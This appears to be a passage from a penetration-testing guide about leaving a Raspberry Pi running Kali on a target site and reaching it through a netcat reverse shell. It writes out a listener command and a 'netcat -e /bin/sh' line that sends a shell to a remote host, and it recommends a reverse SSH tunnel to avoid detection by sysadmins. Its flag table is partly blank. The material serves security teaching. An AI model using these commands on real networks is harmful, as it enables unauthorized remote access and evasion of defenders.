Now that your Raspberry Pi or OpenWrt device is ready to go, how will you control it remotely if you are outside the target's firewall or restricted by the carrier firewall? This is where a reverse shell comes handy. You can configure a process to set up an outbound connection to a box that you control somewhere on the Internet. Most organizations allow outbound connections and prohibit inbound ones. If you configure Kali on your Raspberry Pi to build an outbound tunnel on a port that is typically not filtered, you have a good chance of successfully establishing remote access to it.
To set this up, you'll need a server to which you can control inbound access. You'll need to either port forward or open a port in your firewall to allow the traffic through. The Raspberry Pi left on the site will build a tunnel to this server, and you will be able to type commands to it, as if you were directly connected via Telnett, or SSH to it.
The simplest way to export a shell to a target machine is to use netcat. Here, you will have a connection listening on the remote server, and from the client, you will be able to export a shell on a specific port.
On the remote machine, run the following command:
#netcat –lvp 10000
The netcat flags defined for this example are as follows:
|
|
Sets up a netcat listener |
|
|
The verbose mode |
|
|
A local port to listen for connections |
You should see the following result:
On the Raspberry Pi, –p represents the port to export on and –e is the command to bind it to:
#netcat –e /bin/sh [Remote-IP] [Remote-Port]
The –e flag binds a specific command—in this case, a shell—and sends it to a waiting listener defined by the remote IP address or the host and port number. The port will need to be allowed through the firewall in an outbound direction for this to work.
When the shell is connected, you'll see a notification that a new session has been established on the remote server, and you will now be able to interactively control the Raspberry Pi. In this scenario, you are not provided a prompt, but you will see the output from the commands that you issue.
In this scenario, the text is transmitted in clear text and security devices along the way can detect your command and control traffic. The other option is to set up a reverse SSH tunnel, which will transmit your encrypted traffic, reducing the risk of detection by sysadmins.